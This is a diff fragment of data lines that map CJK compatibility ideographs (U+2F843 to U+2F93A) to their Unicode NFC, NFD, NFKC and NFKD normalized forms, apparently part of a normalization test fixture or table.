+{ source: [0x2F843], NFC: [0x5553], NFD: [0x5553], NFKC: [0x5553], NFKD: [0x5553] },
+{ source: [0x2F844], NFC: [0x5563], NFD: [0x5563], NFKC: [0x5563], NFKD: [0x5563] },
+{ source: [0x2F845], NFC: [0x5584], NFD: [0x5584], NFKC: [0x5584], NFKD: [0x5584] },
+{ source: [0x2F846], NFC: [0x5584], NFD: [0x5584], NFKC: [0x5584], NFKD: [0x5584] },
+{ source: [0x2F847], NFC: [0x5599], NFD: [0x5599], NFKC: [0x5599], NFKD: [0x5599] },
+{ source: [0x2F848], NFC: [0x55AB], NFD: [0x55AB], NFKC: [0x55AB], NFKD: [0x55AB] },
+{ source: [0x2F849], NFC: [0x55B3], NFD: [0x55B3], NFKC: [0x55B3], NFKD: [0x55B3] },
+{ source: [0x2F84A], NFC: [0x55C2], NFD: [0x55C2], NFKC: [0x55C2], NFKD: [0x55C2] },
+{ source: [0x2F84B], NFC: [0x5716], NFD: [0x5716], NFKC: [0x5716], NFKD: [0x5716] },
+{ source: [0x2F84C], NFC: [0x5606], NFD: [0x5606], NFKC: [0x5606], NFKD: [0x5606] },
+{ source: [0x2F84D], NFC: [0x5717], NFD: [0x5717], NFKC: [0x5717], NFKD: [0x5717] },
+{ source: [0x2F84E], NFC: [0x5651], NFD: [0x5651], NFKC: [0x5651], NFKD: [0x5651] },
+{ source: [0x2F84F], NFC: [0x5674], NFD: [0x5674], NFKC: [0x5674], NFKD: [0x5674] },
+{ source: [0x2F850], NFC: [0x5207], NFD: [0x5207], NFKC: [0x5207], NFKD: [0x5207] },
+{ source: [0x2F851], NFC: [0x58EE], NFD: [0x58EE], NFKC: [0x58EE], NFKD: [0x58EE] },
+{ source: [0x2F852], NFC: [0x57CE], NFD: [0x57CE], NFKC: [0x57CE], NFKD: [0x57CE] },
+{ source: [0x2F853], NFC: [0x57F4], NFD: [0x57F4], NFKC: [0x57F4], NFKD: [0x57F4] },
+{ source: [0x2F854], NFC: [0x580D], NFD: [0x580D], NFKC: [0x580D], NFKD: [0x580D] },
+{ source: [0x2F855], NFC: [0x578B], NFD: [0x578B], NFKC: [0x578B], NFKD: [0x578B] },
+{ source: [0x2F856], NFC: [0x5832], NFD: [0x5832], NFKC: [0x5832], NFKD: [0x5832] },
+{ source: [0x2F857], NFC: [0x5831], NFD: [0x5831], NFKC: [0x5831], NFKD: [0x5831] },
+{ source: [0x2F858], NFC: [0x58AC], NFD: [0x58AC], NFKC: [0x58AC], NFKD: [0x58AC] },
+{ source: [0x2F859], NFC: [0x214E4], NFD: [0x214E4], NFKC: [0x214E4], NFKD: [0x214E4] },
+{ source: [0x2F85A], NFC: [0x58F2], NFD: [0x58F2], NFKC: [0x58F2], NFKD: [0x58F2] },
+{ source: [0x2F85B], NFC: [0x58F7], NFD: [0x58F7], NFKC: [0x58F7], NFKD: [0x58F7] },
+{ source: [0x2F85C], NFC: [0x5906], NFD: [0x5906], NFKC: [0x5906], NFKD: [0x5906] },
+{ source: [0x2F85D], NFC: [0x591A], NFD: [0x591A], NFKC: [0x591A], NFKD: [0x591A] },
+{ source: [0x2F85E], NFC: [0x5922], NFD: [0x5922], NFKC: [0x5922], NFKD: [0x5922] },
+{ source: [0x2F85F], NFC: [0x5962], NFD: [0x5962], NFKC: [0x5962], NFKD: [0x5962] },
+{ source: [0x2F860], NFC: [0x216A8], NFD: [0x216A8], NFKC: [0x216A8], NFKD: [0x216A8] },
+{ source: [0x2F861], NFC: [0x216EA], NFD: [0x216EA], NFKC: [0x216EA], NFKD: [0x216EA] },
+{ source: [0x2F862], NFC: [0x59EC], NFD: [0x59EC], NFKC: [0x59EC], NFKD: [0x59EC] },
+{ source: [0x2F863], NFC: [0x5A1B], NFD: [0x5A1B], NFKC: [0x5A1B], NFKD: [0x5A1B] },
+{ source: [0x2F864], NFC: [0x5A27], NFD: [0x5A27], NFKC: [0x5A27], NFKD: [0x5A27] },
+{ source: [0x2F865], NFC: [0x59D8], NFD: [0x59D8], NFKC: [0x59D8], NFKD: [0x59D8] },
+{ source: [0x2F866], NFC: [0x5A66], NFD: [0x5A66], NFKC: [0x5A66], NFKD: [0x5A66] },
+{ source: [0x2F867], NFC: [0x36EE], NFD: [0x36EE], NFKC: [0x36EE], NFKD: [0x36EE] },
+{ source: [0x2F868], NFC: [0x36FC], NFD: [0x36FC], NFKC: [0x36FC], NFKD: [0x36FC] },
+{ source: [0x2F869], NFC: [0x5B08], NFD: [0x5B08], NFKC: [0x5B08], NFKD: [0x5B08] },
+{ source: [0x2F86A], NFC: [0x5B3E], NFD: [0x5B3E], NFKC: [0x5B3E], NFKD: [0x5B3E] },
+{ source: [0x2F86B], NFC: [0x5B3E], NFD: [0x5B3E], NFKC: [0x5B3E], NFKD: [0x5B3E] },
+{ source: [0x2F86C], NFC: [0x219C8], NFD: [0x219C8], NFKC: [0x219C8], NFKD: [0x219C8] },
+{ source: [0x2F86D], NFC: [0x5BC3], NFD: [0x5BC3], NFKC: [0x5BC3], NFKD: [0x5BC3] },
+{ source: [0x2F86E], NFC: [0x5BD8], NFD: [0x5BD8], NFKC: [0x5BD8], NFKD: [0x5BD8] },
+{ source: [0x2F86F], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0x2F870], NFC: [0x5BF3], NFD: [0x5BF3], NFKC: [0x5BF3], NFKD: [0x5BF3] },
+{ source: [0x2F871], NFC: [0x21B18], NFD: [0x21B18], NFKC: [0x21B18], NFKD: [0x21B18] },
+{ source: [0x2F872], NFC: [0x5BFF], NFD: [0x5BFF], NFKC: [0x5BFF], NFKD: [0x5BFF] },
+{ source: [0x2F873], NFC: [0x5C06], NFD: [0x5C06], NFKC: [0x5C06], NFKD: [0x5C06] },
+{ source: [0x2F874], NFC: [0x5F53], NFD: [0x5F53], NFKC: [0x5F53], NFKD: [0x5F53] },
+{ source: [0x2F875], NFC: [0x5C22], NFD: [0x5C22], NFKC: [0x5C22], NFKD: [0x5C22] },
+{ source: [0x2F876], NFC: [0x3781], NFD: [0x3781], NFKC: [0x3781], NFKD: [0x3781] },
+{ source: [0x2F877], NFC: [0x5C60], NFD: [0x5C60], NFKC: [0x5C60], NFKD: [0x5C60] },
+{ source: [0x2F878], NFC: [0x5C6E], NFD: [0x5C6E], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0x2F879], NFC: [0x5CC0], NFD: [0x5CC0], NFKC: [0x5CC0], NFKD: [0x5CC0] },
+{ source: [0x2F87A], NFC: [0x5C8D], NFD: [0x5C8D], NFKC: [0x5C8D], NFKD: [0x5C8D] },
+{ source: [0x2F87B], NFC: [0x21DE4], NFD: [0x21DE4], NFKC: [0x21DE4], NFKD: [0x21DE4] },
+{ source: [0x2F87C], NFC: [0x5D43], NFD: [0x5D43], NFKC: [0x5D43], NFKD: [0x5D43] },
+{ source: [0x2F87D], NFC: [0x21DE6], NFD: [0x21DE6], NFKC: [0x21DE6], NFKD: [0x21DE6] },
+{ source: [0x2F87E], NFC: [0x5D6E], NFD: [0x5D6E], NFKC: [0x5D6E], NFKD: [0x5D6E] },
+{ source: [0x2F87F], NFC: [0x5D6B], NFD: [0x5D6B], NFKC: [0x5D6B], NFKD: [0x5D6B] },
+{ source: [0x2F880], NFC: [0x5D7C], NFD: [0x5D7C], NFKC: [0x5D7C], NFKD: [0x5D7C] },
+{ source: [0x2F881], NFC: [0x5DE1], NFD: [0x5DE1], NFKC: [0x5DE1], NFKD: [0x5DE1] },
+{ source: [0x2F882], NFC: [0x5DE2], NFD: [0x5DE2], NFKC: [0x5DE2], NFKD: [0x5DE2] },
+{ source: [0x2F883], NFC: [0x382F], NFD: [0x382F], NFKC: [0x382F], NFKD: [0x382F] },
+{ source: [0x2F884], NFC: [0x5DFD], NFD: [0x5DFD], NFKC: [0x5DFD], NFKD: [0x5DFD] },
+{ source: [0x2F885], NFC: [0x5E28], NFD: [0x5E28], NFKC: [0x5E28], NFKD: [0x5E28] },
+{ source: [0x2F886], NFC: [0x5E3D], NFD: [0x5E3D], NFKC: [0x5E3D], NFKD: [0x5E3D] },
+{ source: [0x2F887], NFC: [0x5E69], NFD: [0x5E69], NFKC: [0x5E69], NFKD: [0x5E69] },
+{ source: [0x2F888], NFC: [0x3862], NFD: [0x3862], NFKC: [0x3862], NFKD: [0x3862] },
+{ source: [0x2F889], NFC: [0x22183], NFD: [0x22183], NFKC: [0x22183], NFKD: [0x22183] },
+{ source: [0x2F88A], NFC: [0x387C], NFD: [0x387C], NFKC: [0x387C], NFKD: [0x387C] },
+{ source: [0x2F88B], NFC: [0x5EB0], NFD: [0x5EB0], NFKC: [0x5EB0], NFKD: [0x5EB0] },
+{ source: [0x2F88C], NFC: [0x5EB3], NFD: [0x5EB3], NFKC: [0x5EB3], NFKD: [0x5EB3] },
+{ source: [0x2F88D], NFC: [0x5EB6], NFD: [0x5EB6], NFKC: [0x5EB6], NFKD: [0x5EB6] },
+{ source: [0x2F88E], NFC: [0x5ECA], NFD: [0x5ECA], NFKC: [0x5ECA], NFKD: [0x5ECA] },
+{ source: [0x2F88F], NFC: [0x2A392], NFD: [0x2A392], NFKC: [0x2A392], NFKD: [0x2A392] },
+{ source: [0x2F890], NFC: [0x5EFE], NFD: [0x5EFE], NFKC: [0x5EFE], NFKD: [0x5EFE] },
+{ source: [0x2F891], NFC: [0x22331], NFD: [0x22331], NFKC: [0x22331], NFKD: [0x22331] },
+{ source: [0x2F892], NFC: [0x22331], NFD: [0x22331], NFKC: [0x22331], NFKD: [0x22331] },
+{ source: [0x2F893], NFC: [0x8201], NFD: [0x8201], NFKC: [0x8201], NFKD: [0x8201] },
+{ source: [0x2F894], NFC: [0x5F22], NFD: [0x5F22], NFKC: [0x5F22], NFKD: [0x5F22] },
+{ source: [0x2F895], NFC: [0x5F22], NFD: [0x5F22], NFKC: [0x5F22], NFKD: [0x5F22] },
+{ source: [0x2F896], NFC: [0x38C7], NFD: [0x38C7], NFKC: [0x38C7], NFKD: [0x38C7] },
+{ source: [0x2F897], NFC: [0x232B8], NFD: [0x232B8], NFKC: [0x232B8], NFKD: [0x232B8] },
+{ source: [0x2F898], NFC: [0x261DA], NFD: [0x261DA], NFKC: [0x261DA], NFKD: [0x261DA] },
+{ source: [0x2F899], NFC: [0x5F62], NFD: [0x5F62], NFKC: [0x5F62], NFKD: [0x5F62] },
+{ source: [0x2F89A], NFC: [0x5F6B], NFD: [0x5F6B], NFKC: [0x5F6B], NFKD: [0x5F6B] },
+{ source: [0x2F89B], NFC: [0x38E3], NFD: [0x38E3], NFKC: [0x38E3], NFKD: [0x38E3] },
+{ source: [0x2F89C], NFC: [0x5F9A], NFD: [0x5F9A], NFKC: [0x5F9A], NFKD: [0x5F9A] },
+{ source: [0x2F89D], NFC: [0x5FCD], NFD: [0x5FCD], NFKC: [0x5FCD], NFKD: [0x5FCD] },
+{ source: [0x2F89E], NFC: [0x5FD7], NFD: [0x5FD7], NFKC: [0x5FD7], NFKD: [0x5FD7] },
+{ source: [0x2F89F], NFC: [0x5FF9], NFD: [0x5FF9], NFKC: [0x5FF9], NFKD: [0x5FF9] },
+{ source: [0x2F8A0], NFC: [0x6081], NFD: [0x6081], NFKC: [0x6081], NFKD: [0x6081] },
+{ source: [0x2F8A1], NFC: [0x393A], NFD: [0x393A], NFKC: [0x393A], NFKD: [0x393A] },
+{ source: [0x2F8A2], NFC: [0x391C], NFD: [0x391C], NFKC: [0x391C], NFKD: [0x391C] },
+{ source: [0x2F8A3], NFC: [0x6094], NFD: [0x6094], NFKC: [0x6094], NFKD: [0x6094] },
+{ source: [0x2F8A4], NFC: [0x226D4], NFD: [0x226D4], NFKC: [0x226D4], NFKD: [0x226D4] },
+{ source: [0x2F8A5], NFC: [0x60C7], NFD: [0x60C7], NFKC: [0x60C7], NFKD: [0x60C7] },
+{ source: [0x2F8A6], NFC: [0x6148], NFD: [0x6148], NFKC: [0x6148], NFKD: [0x6148] },
+{ source: [0x2F8A7], NFC: [0x614C], NFD: [0x614C], NFKC: [0x614C], NFKD: [0x614C] },
+{ source: [0x2F8A8], NFC: [0x614E], NFD: [0x614E], NFKC: [0x614E], NFKD: [0x614E] },
+{ source: [0x2F8A9], NFC: [0x614C], NFD: [0x614C], NFKC: [0x614C], NFKD: [0x614C] },
+{ source: [0x2F8AA], NFC: [0x617A], NFD: [0x617A], NFKC: [0x617A], NFKD: [0x617A] },
+{ source: [0x2F8AB], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0x2F8AC], NFC: [0x61B2], NFD: [0x61B2], NFKC: [0x61B2], NFKD: [0x61B2] },
+{ source: [0x2F8AD], NFC: [0x61A4], NFD: [0x61A4], NFKC: [0x61A4], NFKD: [0x61A4] },
+{ source: [0x2F8AE], NFC: [0x61AF], NFD: [0x61AF], NFKC: [0x61AF], NFKD: [0x61AF] },
+{ source: [0x2F8AF], NFC: [0x61DE], NFD: [0x61DE], NFKC: [0x61DE], NFKD: [0x61DE] },
+{ source: [0x2F8B0], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0x2F8B1], NFC: [0x61F6], NFD: [0x61F6], NFKC: [0x61F6], NFKD: [0x61F6] },
+{ source: [0x2F8B2], NFC: [0x6210], NFD: [0x6210], NFKC: [0x6210], NFKD: [0x6210] },
+{ source: [0x2F8B3], NFC: [0x621B], NFD: [0x621B], NFKC: [0x621B], NFKD: [0x621B] },
+{ source: [0x2F8B4], NFC: [0x625D], NFD: [0x625D], NFKC: [0x625D], NFKD: [0x625D] },
+{ source: [0x2F8B5], NFC: [0x62B1], NFD: [0x62B1], NFKC: [0x62B1], NFKD: [0x62B1] },
+{ source: [0x2F8B6], NFC: [0x62D4], NFD: [0x62D4], NFKC: [0x62D4], NFKD: [0x62D4] },
+{ source: [0x2F8B7], NFC: [0x6350], NFD: [0x6350], NFKC: [0x6350], NFKD: [0x6350] },
+{ source: [0x2F8B8], NFC: [0x22B0C], NFD: [0x22B0C], NFKC: [0x22B0C], NFKD: [0x22B0C] },
+{ source: [0x2F8B9], NFC: [0x633D], NFD: [0x633D], NFKC: [0x633D], NFKD: [0x633D] },
+{ source: [0x2F8BA], NFC: [0x62FC], NFD: [0x62FC], NFKC: [0x62FC], NFKD: [0x62FC] },
+{ source: [0x2F8BB], NFC: [0x6368], NFD: [0x6368], NFKC: [0x6368], NFKD: [0x6368] },
+{ source: [0x2F8BC], NFC: [0x6383], NFD: [0x6383], NFKC: [0x6383], NFKD: [0x6383] },
+{ source: [0x2F8BD], NFC: [0x63E4], NFD: [0x63E4], NFKC: [0x63E4], NFKD: [0x63E4] },
+{ source: [0x2F8BE], NFC: [0x22BF1], NFD: [0x22BF1], NFKC: [0x22BF1], NFKD: [0x22BF1] },
+{ source: [0x2F8BF], NFC: [0x6422], NFD: [0x6422], NFKC: [0x6422], NFKD: [0x6422] },
+{ source: [0x2F8C0], NFC: [0x63C5], NFD: [0x63C5], NFKC: [0x63C5], NFKD: [0x63C5] },
+{ source: [0x2F8C1], NFC: [0x63A9], NFD: [0x63A9], NFKC: [0x63A9], NFKD: [0x63A9] },
+{ source: [0x2F8C2], NFC: [0x3A2E], NFD: [0x3A2E], NFKC: [0x3A2E], NFKD: [0x3A2E] },
+{ source: [0x2F8C3], NFC: [0x6469], NFD: [0x6469], NFKC: [0x6469], NFKD: [0x6469] },
+{ source: [0x2F8C4], NFC: [0x647E], NFD: [0x647E], NFKC: [0x647E], NFKD: [0x647E] },
+{ source: [0x2F8C5], NFC: [0x649D], NFD: [0x649D], NFKC: [0x649D], NFKD: [0x649D] },
+{ source: [0x2F8C6], NFC: [0x6477], NFD: [0x6477], NFKC: [0x6477], NFKD: [0x6477] },
+{ source: [0x2F8C7], NFC: [0x3A6C], NFD: [0x3A6C], NFKC: [0x3A6C], NFKD: [0x3A6C] },
+{ source: [0x2F8C8], NFC: [0x654F], NFD: [0x654F], NFKC: [0x654F], NFKD: [0x654F] },
+{ source: [0x2F8C9], NFC: [0x656C], NFD: [0x656C], NFKC: [0x656C], NFKD: [0x656C] },
+{ source: [0x2F8CA], NFC: [0x2300A], NFD: [0x2300A], NFKC: [0x2300A], NFKD: [0x2300A] },
+{ source: [0x2F8CB], NFC: [0x65E3], NFD: [0x65E3], NFKC: [0x65E3], NFKD: [0x65E3] },
+{ source: [0x2F8CC], NFC: [0x66F8], NFD: [0x66F8], NFKC: [0x66F8], NFKD: [0x66F8] },
+{ source: [0x2F8CD], NFC: [0x6649], NFD: [0x6649], NFKC: [0x6649], NFKD: [0x6649] },
+{ source: [0x2F8CE], NFC: [0x3B19], NFD: [0x3B19], NFKC: [0x3B19], NFKD: [0x3B19] },
+{ source: [0x2F8CF], NFC: [0x6691], NFD: [0x6691], NFKC: [0x6691], NFKD: [0x6691] },
+{ source: [0x2F8D0], NFC: [0x3B08], NFD: [0x3B08], NFKC: [0x3B08], NFKD: [0x3B08] },
+{ source: [0x2F8D1], NFC: [0x3AE4], NFD: [0x3AE4], NFKC: [0x3AE4], NFKD: [0x3AE4] },
+{ source: [0x2F8D2], NFC: [0x5192], NFD: [0x5192], NFKC: [0x5192], NFKD: [0x5192] },
+{ source: [0x2F8D3], NFC: [0x5195], NFD: [0x5195], NFKC: [0x5195], NFKD: [0x5195] },
+{ source: [0x2F8D4], NFC: [0x6700], NFD: [0x6700], NFKC: [0x6700], NFKD: [0x6700] },
+{ source: [0x2F8D5], NFC: [0x669C], NFD: [0x669C], NFKC: [0x669C], NFKD: [0x669C] },
+{ source: [0x2F8D6], NFC: [0x80AD], NFD: [0x80AD], NFKC: [0x80AD], NFKD: [0x80AD] },
+{ source: [0x2F8D7], NFC: [0x43D9], NFD: [0x43D9], NFKC: [0x43D9], NFKD: [0x43D9] },
+{ source: [0x2F8D8], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0x2F8D9], NFC: [0x671B], NFD: [0x671B], NFKC: [0x671B], NFKD: [0x671B] },
+{ source: [0x2F8DA], NFC: [0x6721], NFD: [0x6721], NFKC: [0x6721], NFKD: [0x6721] },
+{ source: [0x2F8DB], NFC: [0x675E], NFD: [0x675E], NFKC: [0x675E], NFKD: [0x675E] },
+{ source: [0x2F8DC], NFC: [0x6753], NFD: [0x6753], NFKC: [0x6753], NFKD: [0x6753] },
+{ source: [0x2F8DD], NFC: [0x233C3], NFD: [0x233C3], NFKC: [0x233C3], NFKD: [0x233C3] },
+{ source: [0x2F8DE], NFC: [0x3B49], NFD: [0x3B49], NFKC: [0x3B49], NFKD: [0x3B49] },
+{ source: [0x2F8DF], NFC: [0x67FA], NFD: [0x67FA], NFKC: [0x67FA], NFKD: [0x67FA] },
+{ source: [0x2F8E0], NFC: [0x6785], NFD: [0x6785], NFKC: [0x6785], NFKD: [0x6785] },
+{ source: [0x2F8E1], NFC: [0x6852], NFD: [0x6852], NFKC: [0x6852], NFKD: [0x6852] },
+{ source: [0x2F8E2], NFC: [0x6885], NFD: [0x6885], NFKC: [0x6885], NFKD: [0x6885] },
+{ source: [0x2F8E3], NFC: [0x2346D], NFD: [0x2346D], NFKC: [0x2346D], NFKD: [0x2346D] },
+{ source: [0x2F8E4], NFC: [0x688E], NFD: [0x688E], NFKC: [0x688E], NFKD: [0x688E] },
+{ source: [0x2F8E5], NFC: [0x681F], NFD: [0x681F], NFKC: [0x681F], NFKD: [0x681F] },
+{ source: [0x2F8E6], NFC: [0x6914], NFD: [0x6914], NFKC: [0x6914], NFKD: [0x6914] },
+{ source: [0x2F8E7], NFC: [0x3B9D], NFD: [0x3B9D], NFKC: [0x3B9D], NFKD: [0x3B9D] },
+{ source: [0x2F8E8], NFC: [0x6942], NFD: [0x6942], NFKC: [0x6942], NFKD: [0x6942] },
+{ source: [0x2F8E9], NFC: [0x69A3], NFD: [0x69A3], NFKC: [0x69A3], NFKD: [0x69A3] },
+{ source: [0x2F8EA], NFC: [0x69EA], NFD: [0x69EA], NFKC: [0x69EA], NFKD: [0x69EA] },
+{ source: [0x2F8EB], NFC: [0x6AA8], NFD: [0x6AA8], NFKC: [0x6AA8], NFKD: [0x6AA8] },
+{ source: [0x2F8EC], NFC: [0x236A3], NFD: [0x236A3], NFKC: [0x236A3], NFKD: [0x236A3] },
+{ source: [0x2F8ED], NFC: [0x6ADB], NFD: [0x6ADB], NFKC: [0x6ADB], NFKD: [0x6ADB] },
+{ source: [0x2F8EE], NFC: [0x3C18], NFD: [0x3C18], NFKC: [0x3C18], NFKD: [0x3C18] },
+{ source: [0x2F8EF], NFC: [0x6B21], NFD: [0x6B21], NFKC: [0x6B21], NFKD: [0x6B21] },
+{ source: [0x2F8F0], NFC: [0x238A7], NFD: [0x238A7], NFKC: [0x238A7], NFKD: [0x238A7] },
+{ source: [0x2F8F1], NFC: [0x6B54], NFD: [0x6B54], NFKC: [0x6B54], NFKD: [0x6B54] },
+{ source: [0x2F8F2], NFC: [0x3C4E], NFD: [0x3C4E], NFKC: [0x3C4E], NFKD: [0x3C4E] },
+{ source: [0x2F8F3], NFC: [0x6B72], NFD: [0x6B72], NFKC: [0x6B72], NFKD: [0x6B72] },
+{ source: [0x2F8F4], NFC: [0x6B9F], NFD: [0x6B9F], NFKC: [0x6B9F], NFKD: [0x6B9F] },
+{ source: [0x2F8F5], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0x2F8F6], NFC: [0x6BBB], NFD: [0x6BBB], NFKC: [0x6BBB], NFKD: [0x6BBB] },
+{ source: [0x2F8F7], NFC: [0x23A8D], NFD: [0x23A8D], NFKC: [0x23A8D], NFKD: [0x23A8D] },
+{ source: [0x2F8F8], NFC: [0x21D0B], NFD: [0x21D0B], NFKC: [0x21D0B], NFKD: [0x21D0B] },
+{ source: [0x2F8F9], NFC: [0x23AFA], NFD: [0x23AFA], NFKC: [0x23AFA], NFKD: [0x23AFA] },
+{ source: [0x2F8FA], NFC: [0x6C4E], NFD: [0x6C4E], NFKC: [0x6C4E], NFKD: [0x6C4E] },
+{ source: [0x2F8FB], NFC: [0x23CBC], NFD: [0x23CBC], NFKC: [0x23CBC], NFKD: [0x23CBC] },
+{ source: [0x2F8FC], NFC: [0x6CBF], NFD: [0x6CBF], NFKC: [0x6CBF], NFKD: [0x6CBF] },
+{ source: [0x2F8FD], NFC: [0x6CCD], NFD: [0x6CCD], NFKC: [0x6CCD], NFKD: [0x6CCD] },
+{ source: [0x2F8FE], NFC: [0x6C67], NFD: [0x6C67], NFKC: [0x6C67], NFKD: [0x6C67] },
+{ source: [0x2F8FF], NFC: [0x6D16], NFD: [0x6D16], NFKC: [0x6D16], NFKD: [0x6D16] },
+{ source: [0x2F900], NFC: [0x6D3E], NFD: [0x6D3E], NFKC: [0x6D3E], NFKD: [0x6D3E] },
+{ source: [0x2F901], NFC: [0x6D77], NFD: [0x6D77], NFKC: [0x6D77], NFKD: [0x6D77] },
+{ source: [0x2F902], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0x2F903], NFC: [0x6D69], NFD: [0x6D69], NFKC: [0x6D69], NFKD: [0x6D69] },
+{ source: [0x2F904], NFC: [0x6D78], NFD: [0x6D78], NFKC: [0x6D78], NFKD: [0x6D78] },
+{ source: [0x2F905], NFC: [0x6D85], NFD: [0x6D85], NFKC: [0x6D85], NFKD: [0x6D85] },
+{ source: [0x2F906], NFC: [0x23D1E], NFD: [0x23D1E], NFKC: [0x23D1E], NFKD: [0x23D1E] },
+{ source: [0x2F907], NFC: [0x6D34], NFD: [0x6D34], NFKC: [0x6D34], NFKD: [0x6D34] },
+{ source: [0x2F908], NFC: [0x6E2F], NFD: [0x6E2F], NFKC: [0x6E2F], NFKD: [0x6E2F] },
+{ source: [0x2F909], NFC: [0x6E6E], NFD: [0x6E6E], NFKC: [0x6E6E], NFKD: [0x6E6E] },
+{ source: [0x2F90A], NFC: [0x3D33], NFD: [0x3D33], NFKC: [0x3D33], NFKD: [0x3D33] },
+{ source: [0x2F90B], NFC: [0x6ECB], NFD: [0x6ECB], NFKC: [0x6ECB], NFKD: [0x6ECB] },
+{ source: [0x2F90C], NFC: [0x6EC7], NFD: [0x6EC7], NFKC: [0x6EC7], NFKD: [0x6EC7] },
+{ source: [0x2F90D], NFC: [0x23ED1], NFD: [0x23ED1], NFKC: [0x23ED1], NFKD: [0x23ED1] },
+{ source: [0x2F90E], NFC: [0x6DF9], NFD: [0x6DF9], NFKC: [0x6DF9], NFKD: [0x6DF9] },
+{ source: [0x2F90F], NFC: [0x6F6E], NFD: [0x6F6E], NFKC: [0x6F6E], NFKD: [0x6F6E] },
+{ source: [0x2F910], NFC: [0x23F5E], NFD: [0x23F5E], NFKC: [0x23F5E], NFKD: [0x23F5E] },
+{ source: [0x2F911], NFC: [0x23F8E], NFD: [0x23F8E], NFKC: [0x23F8E], NFKD: [0x23F8E] },
+{ source: [0x2F912], NFC: [0x6FC6], NFD: [0x6FC6], NFKC: [0x6FC6], NFKD: [0x6FC6] },
+{ source: [0x2F913], NFC: [0x7039], NFD: [0x7039], NFKC: [0x7039], NFKD: [0x7039] },
+{ source: [0x2F914], NFC: [0x701E], NFD: [0x701E], NFKC: [0x701E], NFKD: [0x701E] },
+{ source: [0x2F915], NFC: [0x701B], NFD: [0x701B], NFKC: [0x701B], NFKD: [0x701B] },
+{ source: [0x2F916], NFC: [0x3D96], NFD: [0x3D96], NFKC: [0x3D96], NFKD: [0x3D96] },
+{ source: [0x2F917], NFC: [0x704A], NFD: [0x704A], NFKC: [0x704A], NFKD: [0x704A] },
+{ source: [0x2F918], NFC: [0x707D], NFD: [0x707D], NFKC: [0x707D], NFKD: [0x707D] },
+{ source: [0x2F919], NFC: [0x7077], NFD: [0x7077], NFKC: [0x7077], NFKD: [0x7077] },
+{ source: [0x2F91A], NFC: [0x70AD], NFD: [0x70AD], NFKC: [0x70AD], NFKD: [0x70AD] },
+{ source: [0x2F91B], NFC: [0x20525], NFD: [0x20525], NFKC: [0x20525], NFKD: [0x20525] },
+{ source: [0x2F91C], NFC: [0x7145], NFD: [0x7145], NFKC: [0x7145], NFKD: [0x7145] },
+{ source: [0x2F91D], NFC: [0x24263], NFD: [0x24263], NFKC: [0x24263], NFKD: [0x24263] },
+{ source: [0x2F91E], NFC: [0x719C], NFD: [0x719C], NFKC: [0x719C], NFKD: [0x719C] },
+{ source: [0x2F91F], NFC: [0x243AB], NFD: [0x243AB], NFKC: [0x243AB], NFKD: [0x243AB] },
+{ source: [0x2F920], NFC: [0x7228], NFD: [0x7228], NFKC: [0x7228], NFKD: [0x7228] },
+{ source: [0x2F921], NFC: [0x7235], NFD: [0x7235], NFKC: [0x7235], NFKD: [0x7235] },
+{ source: [0x2F922], NFC: [0x7250], NFD: [0x7250], NFKC: [0x7250], NFKD: [0x7250] },
+{ source: [0x2F923], NFC: [0x24608], NFD: [0x24608], NFKC: [0x24608], NFKD: [0x24608] },
+{ source: [0x2F924], NFC: [0x7280], NFD: [0x7280], NFKC: [0x7280], NFKD: [0x7280] },
+{ source: [0x2F925], NFC: [0x7295], NFD: [0x7295], NFKC: [0x7295], NFKD: [0x7295] },
+{ source: [0x2F926], NFC: [0x24735], NFD: [0x24735], NFKC: [0x24735], NFKD: [0x24735] },
+{ source: [0x2F927], NFC: [0x24814], NFD: [0x24814], NFKC: [0x24814], NFKD: [0x24814] },
+{ source: [0x2F928], NFC: [0x737A], NFD: [0x737A], NFKC: [0x737A], NFKD: [0x737A] },
+{ source: [0x2F929], NFC: [0x738B], NFD: [0x738B], NFKC: [0x738B], NFKD: [0x738B] },
+{ source: [0x2F92A], NFC: [0x3EAC], NFD: [0x3EAC], NFKC: [0x3EAC], NFKD: [0x3EAC] },
+{ source: [0x2F92B], NFC: [0x73A5], NFD: [0x73A5], NFKC: [0x73A5], NFKD: [0x73A5] },
+{ source: [0x2F92C], NFC: [0x3EB8], NFD: [0x3EB8], NFKC: [0x3EB8], NFKD: [0x3EB8] },
+{ source: [0x2F92D], NFC: [0x3EB8], NFD: [0x3EB8], NFKC: [0x3EB8], NFKD: [0x3EB8] },
+{ source: [0x2F92E], NFC: [0x7447], NFD: [0x7447], NFKC: [0x7447], NFKD: [0x7447] },
+{ source: [0x2F92F], NFC: [0x745C], NFD: [0x745C], NFKC: [0x745C], NFKD: [0x745C] },
+{ source: [0x2F930], NFC: [0x7471], NFD: [0x7471], NFKC: [0x7471], NFKD: [0x7471] },
+{ source: [0x2F931], NFC: [0x7485], NFD: [0x7485], NFKC: [0x7485], NFKD: [0x7485] },
+{ source: [0x2F932], NFC: [0x74CA], NFD: [0x74CA], NFKC: [0x74CA], NFKD: [0x74CA] },
+{ source: [0x2F933], NFC: [0x3F1B], NFD: [0x3F1B], NFKC: [0x3F1B], NFKD: [0x3F1B] },
+{ source: [0x2F934], NFC: [0x7524], NFD: [0x7524], NFKC: [0x7524], NFKD: [0x7524] },
+{ source: [0x2F935], NFC: [0x24C36], NFD: [0x24C36], NFKC: [0x24C36], NFKD: [0x24C36] },
+{ source: [0x2F936], NFC: [0x753E], NFD: [0x753E], NFKC: [0x753E], NFKD: [0x753E] },
+{ source: [0x2F937], NFC: [0x24C92], NFD: [0x24C92], NFKC: [0x24C92], NFKD: [0x24C92] },
+{ source: [0x2F938], NFC: [0x7570], NFD: [0x7570], NFKC: [0x7570], NFKD: [0x7570] },
+{ source: [0x2F939], NFC: [0x2219F], NFD: [0x2219F], NFKC: [0x2219F], NFKD: [0x2219F] },
+{ source: [0x2F93A], NFC: [0x7610], NFD: [0x7610], NFKC: [0x7610], NFKD: [0x7610] },
